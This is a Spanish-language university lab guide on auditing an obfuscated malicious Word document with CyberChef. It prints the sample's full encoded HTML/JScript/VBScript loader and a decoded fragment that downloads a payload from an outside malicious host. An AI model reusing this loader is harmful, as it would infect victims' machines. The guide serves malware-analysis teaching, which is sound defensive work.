AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
UNIVERSIDAD PÚBLICA DE EL ALTO
Carrera de ingeniería de sistemas
AUDITORÍA DE SISTEMAS
NOVENO SEMESTRE
ÁREA DE CONOCIMIENTO
ASIGNATURA: AUDITORIA DE SISTEMAS
AUDITORÍA
Docente: Ing. Humberto Aguilar Lobo, PhD
LABORATORIO 6
Estudiante:
LABORATORIO 6
(Auditoria de Malware en Documentos Office, del tipo VBA - OBFUSCATED)
1. INTRODUCCIÓN.
Al respecto, es importante expresar que el término “ofuscación” es sinónimo de seguridad. Es
decir es una herramienta que se utiliza para aumentar la seguridad del código. En términos
generales de auditoria, la ofuscación convierte el código de un software o proyecto en un tipo de
código que es más difícil de comprender para los humanos. Este objetivo se logra aplicando
mecánicas y patrones de encriptación para evitar el acceso a secciones críticas del código.
1.1. PORQUE SE UTILIZA LA OFUSCACIÓN DE CÓDIGO.
A los efectos de este punto, una de las tantas estrategias utilizadas por los cibercriminales para
intentar infectar las computadoras de sus víctimas es mediante la ofuscación de código. Y la
motivación inmediata de la ofuscación es dificultar el entendimiento del código y por tanto
dificultar la ingeniería inversa. Entre los motivos por los cuales se utiliza la ofuscación son:
• Por seguridad. No se quiere que un atacante comprenda el funcionamiento del código
para que no lo altere con malos propósitos. Por ejemplo, si un programa contiene un
control de licencias, nos puede interesar que nadie lo modifique para saltarse dicho control.
O bien nos puede interesar que un software cliente no envíe peticiones malintencionadas al
servidor. Hay que tener en cuenta que esto sólo consigue seguridad por oscuridad: el
sistema es seguro simplemente porque nadie sabe cómo funciona. Pero si alguien
consigue entender su funcionamiento mediante el análisis, toda la seguridad se va al
traste. Por tanto, usar ofuscación con este propósito sólo tiene sentido como medida
adicional para poner las cosas más difíciles a un atacante, porque no es infalible en
absoluto.
• Ocultar código malicioso. Esta ocultación se realiza en dos ámbitos:2
1
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
o Dificulta la ingeniería inversa estática de malware haciendo más difícil encontrar
las secciones de código más importante.
o Hace que las firmas estáticas utilizadas por los vendedores de antivirus no
puedan detectar malware, ya que las firmas se basan en secuencias de bytes
específicas en el binario
• Protección de la propiedad intelectual. Quizás no quieres que tu competencia copie
cierto algoritmo que has utilizado.
• Como efecto colateral de otros procesos. Un ejemplo es la transformación del
código fuente de un programa, con el propósito de reducir el número de bytes que
ocupa. En lenguajes interpretados como JavaScript esto reduce el espacio de
almacenamiento y el tiempo necesario para descargar un script por Internet. También
hay quién dice que la optimización de código de un compilador consigue, en cierto
modo, un cierto nivel de ofuscación al modificar el programa para mejorar su
rendimiento.
• Pura diversión. Entender cómo funciona un programa ofuscado es como un
rompecabezas, y un programa difícil de entender puede llegar a ser una obra de arte.
Por ejemplo, el lenguaje de programación BRAINFUCK fue diseñado específicamente
para hacer difícil la comprensión de sus programas. Y hay un concurso muy popular, el
IOCCC (INTERNATIONAL OBFUSCATED C CODE CONTEST), cuyo propósito es
concebir un programa «útil» de la forma más incomprensible posible.
• Evitar o dificultar la de compilación. Algunos lenguajes, como por ejemplo Java,
compilan a un lenguaje intermedio de BYTECODES. Este código intermedio puede ser
fácilmente de compilado debido a que el BYTECODE contiene gran parte de la
información del código fuente original. Para diferentes motivos (ingeniería inversa,
sabotajes, piratería de software) a veces es necesario ofuscar el código intermedio
para impedir la de compilación o que esta obtenga un código incomprensible.
1.2. CONCEPTOS TEÓRICOS A TENER EN CUENTA.
Antes de continuar con el tema de realizar una Auditoría de malware que se encuentra ofuscado,
es importante tener presente algunas cuestiones relacionadas con este tipo de documentos:
• CÓDIGO OFUSCADO. Básicamente se puede decir que significa convertir un código limpio
en uno nuevo. El código ofuscado dará exactamente el mismo resultado que el código
original, sin embargo de esta manera el código fuente no será legible para los ojos
humanos. Por lo general, se usa para códigos de salida, banca, licencias, etc. Esto ya nos
da una idea del peligro de la ofuscación. Lo que hace es que un usuario no sepa realmente
si ese código puede ser malicioso y ponernos en riesgo o en realidad se trata de algo
2
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
legítimo. A fin de cuentas está en cierto modo oculto, sin que se pueda leer realmente qué
significa y cómo puede afectarnos.
• ARCHIVOS CON EXTENSIÓN TERMINADA EN X (docx, xlsx, etc.): Este tipo de archivos
están organizados en una estructura con una colección de múltiples archivos con formato
XML en base al estándar Office Open XML (OOXML) desarrollado por Microsoft. Por la
convención adoptada en este estándar, los archivos OOXML son archivos ZIP, por ende,
podemos abrir uno de estos archivos con alguna herramienta de
compresión/descompresión. Por ejemplo, con 7zip.
• MACROS. Una macro es una serie de instrucciones agrupadas bajo un mismo comando
que permiten ejecutar una tarea de forma automática en un documento. De esta manera,
los cibercriminales desarrollan macros (por lo general utilizando el lenguaje de
programación Visual Basic) para ponerlas dentro de documentos con fines maliciosos.
• OBJECT LINKING AND EMBEDDING (OLE). OLE es una tecnología desarrollada por
Microsoft que permite tomar un Objeto de un documento y colocarlo en otro; por ejemplo,
incluir una tabla de una planilla de Excel en un documento de Word. La inclusión puede
hacerse por medio de la vinculación (LINK) contra otra aplicación, permitiendo así que los
datos no estén en el archivo original. Otra opción puede ser que estén incrustados
(EMBEDDING) haciendo que sean parte del mismo documento y desligándolos de su
archivo de origen. Los criminales pueden utilizar estos objetos OLE para incluir código
malicioso desarrollado, por ejemplo, en Visual Basic o JavaScript, para que se ejecute
cuando el usuario interactúa con ellos.
2. HERRAMIENTAS A UTILIZAR.
A los efectos de esta prueba y/o laboratorio, es importante conocer algunos conceptos previos de
las herramientas que se hará uso, entre las que se tiene:
• KALI LINUX. Es un sistema operativo de distribución Linux basada en Debian,
específicamente diseñada para temas de seguridad muy variados, como análisis de redes,
ataques inalámbricos, análisis forenses y otros que más adelante citaremos. Contiene
herramientas para llevar a cabo todas estas pruebas de seguridad y análisis.
• MUESTRAS DE MALWARE. Para poder realizar una Auditoria a un documento es
imprescindible contar con diferentes documentos que ya se encuentren infectados con
malwares, para tal efecto utilizaremos archivos infectados que servirán como ejemplos para
este laboratorio, las muestras de documentos infectados con malware se pueden adquirir
de los siguientes repositorios:
https://bazaar.abuse.ch/
Nota. Es importante expresar que se debe tener mucho cuidado y evitar la ejecución de estos
3
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
archivos que se encuentran en estos servidores, ya que son malwares activos, es decir si ejecutan
los mismos pondrán infectar su equipo.
• CYBERCHEF. Es una herramienta de desarrollo que ayuda a realizar todo tipo de
operaciones utilizando un navegador web para hacer un análisis de auditorías en
operaciones de encriptación, compresión, codificación y análisis de datos, el punto
fuerte de CYBERCHEF es su interfaz fácil de usar. La mayor parte de la ventana
está dedicada a su espacio de trabajo. El cuadro de entrada de la parte superior
derecha te permite pegar, escribir o arrastrar el archivo de texto sobre el que
quieres operar. La parte inferior derecha, por su parte, es el cuadro de salida, donde
puedes ver el resultado del procesamiento.
3. DESCARGA DE ARCHIVO INFECTADOS CON MALWARE (KALI LINUX).
A los efectos de este punto, se realiza la descarga de archivos infectados con malware, desde el
repositorio de muestras: https://bazaar.abuse.ch/ que es un proyecto con el objetivo de compartir
muestras de malware con la comunidad, proveedores de Anti Virus y proveedores de inteligencia
de amenazas. Para tal efecto, en primera instancia se ingresa al repositorio, teniendo la siguiente
captura de pantalla:
El sitio web, se hace clic en “Base de datos MalwareBazaar” se puede descargar algunos
archivos como muestras de malware del tipo ofuscado y dentro de un archivo del tipo
documento, teniendo la siguiente captura de pantalla:
4
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
para tal efecto se descarga una muestra de:
• Un archivo tipo Microsoft Word (muestra infectada con malware del tipo ofuscado)
https://bazaar.abuse.ch/sample/cc721111b5924cfeb91440ecaccc60ecc30d10fffbdab262f7c0a17027f527d1/
Teniendo las siguientes capturas de pantalla del procedimiento del archivo descargado (Tipo
Microsoft Word):
5
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
Una vez descargado el archivo, se puede observar que el mismo viene en formato comprimido,
teniendo las siguientes capturas de pantalla:
A continuación, se procede a descomprimir el archivo, teniendo en cuenta que la contraseña
para tal efecto es “infected” teniendo la siguiente captura de pantalla:
Nota. Es importante mencionar que el archivo no debe ser ejecutado, ya que contiene un
“malware ofuscado” activo y puede dañar su equipo y/o sistema operativo.
6
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
4. PRIMER ANÁLISIS DEL ARCHIVO EN EL SITIO WEB DE “VIRUS TOTAL”.
Antes de realizar la auditoria, es importante verificar el nivel de archivo malicioso que es la
muestra, para tal efecto se utiliza el sitio web especializado de virus total
https://www.virustotal.com, en la cual se subirá el archivo malicioso y se analizará el mismo.
Teniendo las siguientes capturas de pantallas:
Teniendo los siguientes resultados, como por ejemplo que de 64 antivirus, solo 38 lo reconocen
como un archivo malicioso. Otro dato interesante es que herramientas como “Avast Mobile” o
“Panda Antivirus” no reconocen el archivo como malicioso.
7
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
5. AUDITORÍA Y ANÁLISIS DEL ARCHIVO CON CYBERCHEF.
Para poder realizar la Auditoria y análisis del archivo malicioso con la herramienta
“CYBERCHEF” se debe seguir los siguientes pasos:
PASO 1.- En un navegador se debe abrir la herramienta “CYBERCHEF” bajo la dirección web
https://gchq.github.io/CyberChef/ teniendo la siguiente captura de pantalla.
PASO 2. Una vez realizado el paso anterior, se debe subir el archivo del tipo MICROSOFT
WORD malicioso a la herramienta, haciendo clic en el botón “Open File is Input” que se
8
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
encuentra en la parte superior derecha de la herramienta, teniendo la captura de pantalla
siguiente:
PASO 3. Como siguiente paso se debe realizar un primer análisis en referencia a la detección
del tipo de archivo que es. En ese entendido y para tal efecto se debe buscar el método
“DETECT FILE TYPE” en el buscador de la herramienta, haciendo clic en “SEARCH” y buscando
el nombre del método a utilizar, y una vez encontrado se debe arrastrar el método a la parte del
“RECIPE” y se obtendrá los siguientes resultados:
File type: Microsoft Office 2007+ document Se puede observar que es un tipo de
archivo “Microsoft Office 2007” y de
extensión “.DOC” 9
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
Extension: docx,xlsx,pptx
MIME type: application/vnd.openxmlformats-
officedocument.wordprocessingml.document,application/vnd.openxmlformats-
officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-
officedocument.presentationml.presentation
Se puede observar que es un tipo de
File type: PKZIP archive archivo “PKZIP archive” que
Extension: zip básicamente es la compresión y la
MIME type: application/zip administración de diferentes archivos
en un solo archivoación web
PASO 4. Una vez realizado el anterior paso, como paso previo a seguir con el análisis en la
herramienta “CYBERCHEF” se debe descomprimir el archivo malicioso, ya que al ser un archivo
PKZIP se puede realizar ese proceso, utilizando una terminal en LINUX, de la siguiente manera:
• En primera instancia desde una terminal en LINUX se debe ingresar a la raíz donde se
encuentra el archivo malicioso.
• A continuación, se debe realizar en primera instancia el “comprimido” utilizando la
terminal y el siguiente comando:
“cp cc721111b5924cfeb91440ecaccc60ecc30d10fffbdab262f7c0a17027f527d1.doc comprimido.zip”
Donde:
• “cp”: Se utiliza para realizar una copia de archivos mediante línea de comando.
• “cc721111b5924cfeb91440ecaccc60ecc30d10fffbdab262f7c0a17027f527d1.doc”: El nombre del
archivo malicioso.
• “comprimido.zip”: El nombre del archivo con el que se hará la compresión y el formato.
10
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
• A continuación, el archivo comprimido lo colocamos dentro de una carpeta, el
procedimiento para crear la misma, es similar al sistema operativo Windows (Clic
Derecho/Crear Carpeta), teniendo en primera instancia:
Ahora se realiza el procedimiento para el “descomprimido” utilizando la terminal y el
siguiente comando:
“unzip comprimido.zip”
Donde:
• “unzip”: Se utiliza para descomprimir un archivo.
• “comprimido.zip”: El nombre del archivo con al que se hará la descompresión y su formato actual.
11
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
PASO 5. Una vez realizado el anterior paso, se debe volver a la herramienta “CYBERCHEF” y se
debe analizar las cadenas de STRINGS del archivo, para tal efecto se debe quitar el método
““DETECT FILE TYPE” del “RECIPE” haciendo clic en el nombre del método y sin soltar se debe
llevar el mismo a la lista de métodos y de esa manera se quitará. Luego se debe buscar el
método “STRINGS” en el buscador de la herramienta, haciendo clic en “SEARCH” y buscando el
nombre del método a utilizar, y una vez encontrado se debe arrastrar el método a la parte del
“RECIPE” y se obtendrá los siguientes resultados:
Análisis previo. Un análisis previo en los resultados obtenidos, se puede observar que el
12
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
archivo WORD contiene un “VBAPROJECT.BIN”, y significa una macro (contenido de
instrucciones) dentro del archivo, que el mismo llama la atención como primer análisis.
Ahora para continuar con el análisis, se debe configurar el método “STRINGS” de la herramienta
bajo los siguientes puntos:
• Encoding: Debe estar en “Single byte”
• Match: Debe estar en “All printable chars (A)”
• Minimun Length: Debe estar de acuerdo al análisis, y se recomienda que está arriba de
“70” o “100” caracteres, ya que eso demuestra línea de caracteres de código malicioso.
Teniendo:
Análisis. En este análisis se puede observar que se encuentra nada raro en los resultados
obtenidos, en ese entendido se debe empezar analizar los archivos descomprimidos
anteriormente.
PASO 6.- Como siguiente paso, se debe analizar los archivos “descomprimidos” (uno a uno)
para poder en primera instancia verificar su codificación, y se tiene los siguientes archivos (de
manera gráfica):
• [Content_Types].xml
• docProps
• _rels
• word
13
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
A continuación, se abre el archivo “[Content_Types].xml” y como se puede observar, no se tiene
alguna línea de código que pueda ser maliciosa, teniendo la siguiente captura de pantalla:
Ahora veamos dentro de la carpeta “docProps” y los archivos que se encuentran, entre los que
se tiene:
• App.xml
• Core.xml
14
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
Y se analiza los mismos, en el archivo de nombre “app.xml” se puede observar una línea de
código llamativa, que está escrita en idioma “RUSO”, traduciendo tiene el significado de
“Nombre”, siendo un dato llamativo en el documento de tipo WORD, teniendo la siguiente
captura de pantalla:
A continuación se analiza el siguiente archivo de nombre “core.xml”, y se puede observar
también líneas de código llamativa, que están escritas en idioma “RUSO”, traduciendo tiene el
significado de “Usuario de Windows”, siendo un dato llamativo en el documento de tipo WORD,
teniendo la siguiente captura de pantalla:
15
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
A continuación, veamos dentro de la carpeta “_rels” y NO se encuentra algún archivo para
analizar.
Y de esa manera se realiza la revisión de todos los archivos para verificar en primera instancia
alguna línea de código maliciosa. Ahora en cuanto a la carpeta “WORD” se puede observar una
serie de archivos, teniendo las siguientes capturas de pantalla:
16
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
Entre las que se encuentra el archivo “document.xml”, y abriendo el mismo, se tiene:
El código que se analizará, viene en los siguientes términos y/o líneas de código:
<html><body><div
id='copyCurrencyMemory'>fX17KWUoaGN0YWN9O2Vzb2xjLnRzTHJhdjspMiAsImdwai50c25vQ3hvQm5v
aXRjZWxsb2NcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLnRzTHJhdjspeWRvYmVzbm9wc2VyLlJy
ZWdldG5JZXRhZChldGlydy50c0xyYXY7MSA9IGVweXQudHNMcmF2O25lcG8udHNMcmF2OykibWFlcnR
zLmJkb2RhIih0Y2VqYk9YZXZpdGNBIHdlbiA9IHRzTHJhdiByYXZ7eXJ0eykwMDIgPT0gc3V0YXRzLlJyZW
dldG5JZXRhZChmaTspKGRuZXMuUnJlZ2V0bklldGFkOyllc2xhZiAsIkNYTWpPb0dUNDJDV2JNNzZzMWN
3RD1xJjA5TWtubFF2WkdCQUYyRGRGUlZ5TDEyZ2dWWnU9aGNyYWVzJlQyOTJEb01IbT1yZXN1JmZw
NHJWPWRpJnllRFBPWGREUDZJNGhXeDlqaD1xJm5mVWcwczladENhVnk9dUp3Uzl5OWkmSmk4bjJLM
T1lZ2FwJm5GdmVJckh5NUZMWjExWFV5RDRnY2JvcTA9ZW1pdCZ2YmZrSXNSbmE9cmVzdT81ZXNvc
y9OUElyR2drUDZSQUFIVlZLQ2NlUngwVlZCNlR1dEx6emlOUUovN1lXeGlRQWtPbk9CeDUvVC9hZGRhL
21vYy56ZXJ1bGNjbWVzcnVvYy8vOnB0dGgiICwiVEVHIihuZXBvLlJyZWdldG5JZXRhZDspInB0dGhsbXgu
MmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IFJyZWdldG5JZXRhZCByYXY=aGVsbG8fXspdHhlTnhlZG5J
eGVkbmkoaGN0YWN9Oyl0Y2VqYk9Wb3BlcihlbGlmZXRlbGVkLnRjdXJ0U0xzZXR5YjsiYXRoLnRzbm9De
G9Cbm9pdGNlbGxvY1xcIiArIHlyb3RjZXJpRHRuZXJydUMudHNub0NlY25lcmVmZVJ0c3VydCA9IHRjZWpi
T1ZvcGVye3lydDspInRpbkluaWd1bFAsZ3BqLnRzbm9DeG9Cbm9pdGNlbGxvY1xcY2lsYnVwXFxzcmVzd
17
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
VxcOmMgMjNsbGRudXIiKG51ci50c25vQ2VjbmVyZWZlUnRzdXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml
0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdGN1cnRTTHNldHliIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZ
WpiT1hldml0Y0Egd2VuID0gdHNub0NlY25lcmVmZVJ0c3VydCByYXY=aGVsbG8msscriptcontrol.scriptcont
rol</div><div
id='vConstBorder'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/</div
><script language='javascript'>function WLongPtr(altListVba){return(new
ActiveXObject(altListVba));}function
objButtBool(headerListbox){return(removeConstFunction.getElementById(headerListbox).innerHTML);}func
tion boolOptionClass(){return(objButtBool('vConstBorder'));}function sinBooleanCur(s){var e={}; var i; var
b=0; var c; var x; var l=0; var a; var memSetByte=''; var w=String.fromCharCode; var L=s.length;var
intBorder =
zeroI('tArahc');for(i=0;i<64;i++){e[boolOptionClass()[intBorder](i)]=i;}for(x=0;x<L;x++){c=e[s[intBorder](x)];b=
(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-
2)))&&(memSetByte+=w(a));}}return(memSetByte);};function zeroI(genTempTextbox){return
genTempTextbox.split('').reverse().join('');}procDocumentI = window;removeConstFunction =
document;procDocumentI.resizeTo(1, 1);procDocumentI.moveTo(-100, -100);var genericBoolean =
removeConstFunction.getElementById('copyCurrencyMemory').innerHTML.split("aGVsbG8");var
collectRightSingle = zeroI(sinBooleanCur(genericBoolean[0]));var vData =
zeroI(sinBooleanCur(genericBoolean[1]));var viewPointerConvert = genericBoolean[2];</script><script
language='vbscript'>Function classResponseLocal(copyCurrencyMemory) : Set snglSngTpl =
CreateObject(viewPointerConvert) : With snglSngTpl : .language = "jscript" : .timeout = 60000 :
.eval(copyCurrencyMemory) : End With : End Function</script><script language='vbscript'>Call
classResponseLocal(collectRightSingle)</script><script language='vbscript'>Call
classResponseLocal(vData)</script><script
language='javascript'>procDocumentI['close']();</script></body></html>
Análisis. En este archivo se puede observar CÓDIGO OFUSCADO, a través de juegos de
caracteres, que posiblemente sea dañino o malicioso. En ese entendido, a continuación se
realiza el procedimiento para poder analizar este pedazo de código en la herramienta
CYBERCHEF (nueva pestaña de la herramienta), teniendo los siguientes resultados:
Ahora en la parte de “INPUT” se debe pegar el código anteriormente mostrado, teniendo:
18
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
Ahora, a continuación, se debe “de – compilar”, que es un proceso para convertir datos binarios
en un formato de serie ASCII. Estos datos binarios se convierten en una representación de
caracteres de 6 bits. Para tal efecto, se debe utilizar el método “FromBase64” en la herramienta,
buscando la misma en el “Search”, teniendo la siguiente captura de pantalla:
Antes de continuar, se debe “arreglar” el código de entrada, ya que hay caracteres que no está
reconociendo la herramienta “CYBERCHEF” de manera correcta, en ese entendido se debe
eliminar los caracteres del tipo HTML (color rojo), ya que el mismo no se encuentra ofuscado,
teniendo lo siguiente:
19
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
<html><body><div
id='copyCurrencyMemory'>fX17KWUoaGN0YWN9O2Vzb2xjLnRzTHJhdjspMiAsImdwai50c25vQ3hvQm5v
aXRjZWxsb2NcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLnRzTHJhdjspeWRvYmVzbm9wc2VyLlJy
ZWdldG5JZXRhZChldGlydy50c0xyYXY7MSA9IGVweXQudHNMcmF2O25lcG8udHNMcmF2OykibWFlcnR
zLmJkb2RhIih0Y2VqYk9YZXZpdGNBIHdlbiA9IHRzTHJhdiByYXZ7eXJ0eykwMDIgPT0gc3V0YXRzLlJyZW
dldG5JZXRhZChmaTspKGRuZXMuUnJlZ2V0bklldGFkOyllc2xhZiAsIkNYTWpPb0dUNDJDV2JNNzZzMWN
3RD1xJjA5TWtubFF2WkdCQUYyRGRGUlZ5TDEyZ2dWWnU9aGNyYWVzJlQyOTJEb01IbT1yZXN1JmZw
NHJWPWRpJnllRFBPWGREUDZJNGhXeDlqaD1xJm5mVWcwczladENhVnk9dUp3Uzl5OWkmSmk4bjJLM
T1lZ2FwJm5GdmVJckh5NUZMWjExWFV5RDRnY2JvcTA9ZW1pdCZ2YmZrSXNSbmE9cmVzdT81ZXNvc
y9OUElyR2drUDZSQUFIVlZLQ2NlUngwVlZCNlR1dEx6emlOUUovN1lXeGlRQWtPbk9CeDUvVC9hZGRhL
21vYy56ZXJ1bGNjbWVzcnVvYy8vOnB0dGgiICwiVEVHIihuZXBvLlJyZWdldG5JZXRhZDspInB0dGhsbXgu
MmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IFJyZWdldG5JZXRhZCByYXY=aGVsbG8fXspdHhlTnhlZG5J
eGVkbmkoaGN0YWN9Oyl0Y2VqYk9Wb3BlcihlbGlmZXRlbGVkLnRjdXJ0U0xzZXR5YjsiYXRoLnRzbm9De
G9Cbm9pdGNlbGxvY1xcIiArIHlyb3RjZXJpRHRuZXJydUMudHNub0NlY25lcmVmZVJ0c3VydCA9IHRjZWpi
T1ZvcGVye3lydDspInRpbkluaWd1bFAsZ3BqLnRzbm9DeG9Cbm9pdGNlbGxvY1xcY2lsYnVwXFxzcmVzd
VxcOmMgMjNsbGRudXIiKG51ci50c25vQ2VjbmVyZWZlUnRzdXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml
0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdGN1cnRTTHNldHliIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZ
WpiT1hldml0Y0Egd2VuID0gdHNub0NlY25lcmVmZVJ0c3VydCByYXY=aGVsbG8msscriptcontrol.scriptcont
rol</div><div
id='vConstBorder'>ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/</div
><script language='javascript'>function WLongPtr(altListVba){return(new
ActiveXObject(altListVba));}function
objButtBool(headerListbox){return(removeConstFunction.getElementById(headerListbox).innerHTML);}func
tion boolOptionClass(){return(objButtBool('vConstBorder'));}function sinBooleanCur(s){var e={}; var i; var
b=0; var c; var x; var l=0; var a; var memSetByte=''; var w=String.fromCharCode; var L=s.length;var
intBorder =
zeroI('tArahc');for(i=0;i<64;i++){e[boolOptionClass()[intBorder](i)]=i;}for(x=0;x<L;x++){c=e[s[intBorder](x)];b=
(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-
2)))&&(memSetByte+=w(a));}}return(memSetByte);};function zeroI(genTempTextbox){return
genTempTextbox.split('').reverse().join('');}procDocumentI = window;removeConstFunction =
document;procDocumentI.resizeTo(1, 1);procDocumentI.moveTo(-100, -100);var genericBoolean =
removeConstFunction.getElementById('copyCurrencyMemory').innerHTML.split("aGVsbG8");var
collectRightSingle = zeroI(sinBooleanCur(genericBoolean[0]));var vData =
zeroI(sinBooleanCur(genericBoolean[1]));var viewPointerConvert = genericBoolean[2];</script><script
language='vbscript'>Function classResponseLocal(copyCurrencyMemory) : Set snglSngTpl =
CreateObject(viewPointerConvert) : With snglSngTpl : .language = "jscript" : .timeout = 60000 :
.eval(copyCurrencyMemory) : End With : End Function</script><script language='vbscript'>Call
classResponseLocal(collectRightSingle)</script><script language='vbscript'>Call
classResponseLocal(vData)</script><script
language='javascript'>procDocumentI['close']();</script></body></html>
Una vez eliminado ese código, se tiene:
id='copyCurrencyMemory'>fX17KWUoaGN0YWN9O2Vzb2xjLnRzTHJhdjspMiAsImdwai50c25vQ3hvQm5v
aXRjZWxsb2NcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLnRzTHJhdjspeWRvYmVzbm9wc2VyLlJy
ZWdldG5JZXRhZChldGlydy50c0xyYXY7MSA9IGVweXQudHNMcmF2O25lcG8udHNMcmF2OykibWFlcnR
zLmJkb2RhIih0Y2VqYk9YZXZpdGNBIHdlbiA9IHRzTHJhdiByYXZ7eXJ0eykwMDIgPT0gc3V0YXRzLlJyZW
dldG5JZXRhZChmaTspKGRuZXMuUnJlZ2V0bklldGFkOyllc2xhZiAsIkNYTWpPb0dUNDJDV2JNNzZzMWN
3RD1xJjA5TWtubFF2WkdCQUYyRGRGUlZ5TDEyZ2dWWnU9aGNyYWVzJlQyOTJEb01IbT1yZXN1JmZw
NHJWPWRpJnllRFBPWGREUDZJNGhXeDlqaD1xJm5mVWcwczladENhVnk9dUp3Uzl5OWkmSmk4bjJLM
T1lZ2FwJm5GdmVJckh5NUZMWjExWFV5RDRnY2JvcTA9ZW1pdCZ2YmZrSXNSbmE9cmVzdT81ZXNvc
y9OUElyR2drUDZSQUFIVlZLQ2NlUngwVlZCNlR1dEx6emlOUUovN1lXeGlRQWtPbk9CeDUvVC9hZGRhL
21vYy56ZXJ1bGNjbWVzcnVvYy8vOnB0dGgiICwiVEVHIihuZXBvLlJyZWdldG5JZXRhZDspInB0dGhsbXgu
MmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IFJyZWdldG5JZXRhZCByYXY=aGVsbG8fXspdHhlTnhlZG5J
eGVkbmkoaGN0YWN9Oyl0Y2VqYk9Wb3BlcihlbGlmZXRlbGVkLnRjdXJ0U0xzZXR5YjsiYXRoLnRzbm9De
G9Cbm9pdGNlbGxvY1xcIiArIHlyb3RjZXJpRHRuZXJydUMudHNub0NlY25lcmVmZVJ0c3VydCA9IHRjZWpi
T1ZvcGVye3lydDspInRpbkluaWd1bFAsZ3BqLnRzbm9DeG9Cbm9pdGNlbGxvY1xcY2lsYnVwXFxzcmVzd
20
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
VxcOmMgMjNsbGRudXIiKG51ci50c25vQ2VjbmVyZWZlUnRzdXJ0OykidGNlamJvbWV0c3lzZWxpZi5nbml
0cGlyY3MiKHRjZWpiT1hldml0Y0Egd2VuID0gdGN1cnRTTHNldHliIHJhdjspImxsZWhzLnRwaXJjc3ciKHRjZ
WpiT1hldml0Y0Egd2VuID0gdHNub0NlY25lcmVmZVJ0c3VydCByYXY=aGVsbG8msscriptcontrol.scriptcont
rol
Y a continuación, con ese código se debe realizar la “DES – OFUSCACIÓN” utilizando el método
“REVERSE” en la herramienta “CYBERCHEF”, teniendo:
Se puede observar, todavía no se entiende de una manera más razonable el código, para tales
casos se debe quitar y/o remover los caracteres repetidos, en ese entendido se debe quitar la
opción “REMOVE NOMALPHABET CHARS” del “FromBase64”, teniendo:
21
AUDITORÍA DE SISTEMAS
| CARRERA DE INGENIERÍA DE SISTEMAS
Ya en este punto, ya se puede observar que el código es legible para poder realizar el análisis,
teniendo en primera instancia la copia de todo el código de salida:
.®í.rm*®.ûèÚ.(צâʱ¬É..[..]....\Ý..T.Y.\.ÛXÙÐ.Û..H..[Ù.HÐ.].].Ö..ZÙ...ÈÝÜ.\...Ë.Z...HÊ.]...X.]Ù.Ó..\Ý..H..[Ù.H
Ð.].].Ö..ZÙ...ÈÜ.\..].Û..Y.[Ù\Þ.]YÛ..ZÙ..HÊ..\Ý..T.Y.\.ÛXÙÐ.Û...\....\....Û..È...WÝ\.Ü...\..[Ú..ר..[Ù.]Ú..Ð.ÞÐ.Û
....Ü...[ÝY.[.[..HÊ..\Þ.\.Ü.Õ..ZÙ..H...\Ý..T.Y.\.ÛXÙÐ.Û..ËP..\...Q.\Ù.Ý.\.È
...ר..[Ù.]Ú..Ð.ÞÐ.Û....].È.X.]Ù.Ó..\Ý...Y.[.].Y.[..\.Ü.Õ..ZÙ.]ÊNßX.Ý..J..Y.^..Y..S..]Ê^.ollehvar dateIntegerR =
new ActiveXObject("msxml2.xmlhttp");dateIntegerR.open("GET",
"http://coursemcclurez.com/adda/T/5xBOnOkAQixWY7/JQNizzLtuT6BVV0xRecCKVVHAAR6PkgGrIPN/so
se5?user=anRsIkfbv&time=0qobcg4DyUX11ZLF5yHrIevFn&page=1K2n8iJ&i9y9SwJu=yVaCtZ9s0gUfn&q
=hj9xWh4I6PDdXOPDey&id=Vr4pf&user=mHMoD292T&search=uZVgg21LyVRFdD2FABGZvQlnkM90&q=
